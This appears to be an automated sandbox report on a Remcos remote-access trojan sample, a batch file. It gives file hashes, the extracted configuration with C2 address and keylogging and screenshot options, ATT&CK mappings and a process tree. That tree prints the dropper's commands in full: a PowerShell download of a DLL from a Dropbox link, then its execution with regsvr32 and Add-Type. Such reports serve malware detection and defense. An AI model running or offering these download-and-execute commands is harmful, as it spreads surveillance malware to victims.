remcos | 80c404f467f93bcabea0470036ed02962f7114a12d6fb35e3fe73ab7d4045cd4

General

Target

test - Kopie.bat
Size

1KB
MD5

6263640933688fcb7cec4110041065a6
SHA1

0915a799a48199b196c14781a5ea54a377198ac5
SHA256

80c404f467f93bcabea0470036ed02962f7114a12d6fb35e3fe73ab7d4045cd4
SHA512

de2a3aff1b9a337265c9136f9565f8c964c1e2e6d52856653ade0365f0c05a584c9d0a4b1d5af0a0552873497df966a6d5be887411aa9cbcf51388f1c9902b32

Score

10^/10

remcos remotehost discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

23.ip.gl.ply.gg:24321

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
Rmc.exe
copy_folder
RootRmc
delete_file
true
hide_file
true
hide_keylog_file
false
install_flag
true
install_path
%SystemDrive%
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-M1WJOM
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	1720	powershell.exe
4	1720	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1720	powershell.exe
3592	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
3708	regsvr32.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1720	powershell.exe
1720	powershell.exe
3592	powershell.exe
3592	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1720	powershell.exe
Token: SeDebugPrivilege	3592	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 4936 wrote to memory of 1720	4936	cmd.exe	78
PID 4936 wrote to memory of 1720	4936	cmd.exe	78
PID 4936 wrote to memory of 3396	4936	cmd.exe	79
PID 4936 wrote to memory of 3396	4936	cmd.exe	79
PID 3396 wrote to memory of 3708	3396	regsvr32.exe	80
PID 3396 wrote to memory of 3708	3396	regsvr32.exe	80
PID 3396 wrote to memory of 3708	3396	regsvr32.exe	80
PID 4936 wrote to memory of 3592	4936	cmd.exe	82
PID 4936 wrote to memory of 3592	4936	cmd.exe	82

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\test - Kopie.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/ced931yp7ygkbsx3fibr1/test.dll?rlkey=23mh4gtrl35mfqlt6suof5w8d&dl=1' -OutFile 'test.dll'"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1720
- C:\Windows\system32\regsvr32.exe
  regsvr32 /s "test.dll"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3396
- - C:\Windows\SysWOW64\regsvr32.exe
    /s "test.dll"
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:3708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -Path 'test.dll'; [TestClass]::Execute()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3592

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
5f4c933102a824f41e258078e34165a7

SHA1
d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee

SHA256
d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2

SHA512
a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
5e6baeec02c3d93dce26652e7acebc90

SHA1
937a7b4a0d42ea56e21a1a00447d899a2aca3c28

SHA256
137bf90e25dbe4f70e614b7f6e61cba6c904c664858e1fe2bc749490b4a064c0

SHA512
461990704004d7be6f273f1cee94ea73e2d47310bac05483fd98e3c8b678c42e7625d799ac76cf47fe5e300e7d709456e8c18f9854d35deb8721f6802d24bea4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z5xumrfk.1he.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\test.dll

Filesize
465KB

MD5
c52987ac16d800661b0673db0e88e040

SHA1
8887a9096dd5baa81fc841fd4066978aabc66d66

SHA256
00f66290090abad9e0c8a98e659723a29ad621862a54ff7b67dc326b4cf74ae6

SHA512
5431218a44e0a26337b6ad78f4cf225c735a104751a542cb7d882e69ba711b3001d855199c7b91d6113eca2095257daacbb642cf1e84fa1c11e913f5d401782d

Download Submit
memory/1720-0-0x00007FFCC0B13000-0x00007FFCC0B15000-memory.dmp

Filesize
8KB

Download
memory/1720-9-0x00000263D5220000-0x00000263D5242000-memory.dmp

Filesize
136KB

Download
memory/1720-10-0x00007FFCC0B10000-0x00007FFCC15D2000-memory.dmp

Filesize
10.8MB

Download
memory/1720-11-0x00007FFCC0B10000-0x00007FFCC15D2000-memory.dmp

Filesize
10.8MB

Download
memory/1720-12-0x00007FFCC0B10000-0x00007FFCC15D2000-memory.dmp

Filesize
10.8MB

Download
memory/1720-16-0x00007FFCC0B10000-0x00007FFCC15D2000-memory.dmp

Filesize
10.8MB

Download

Analysis

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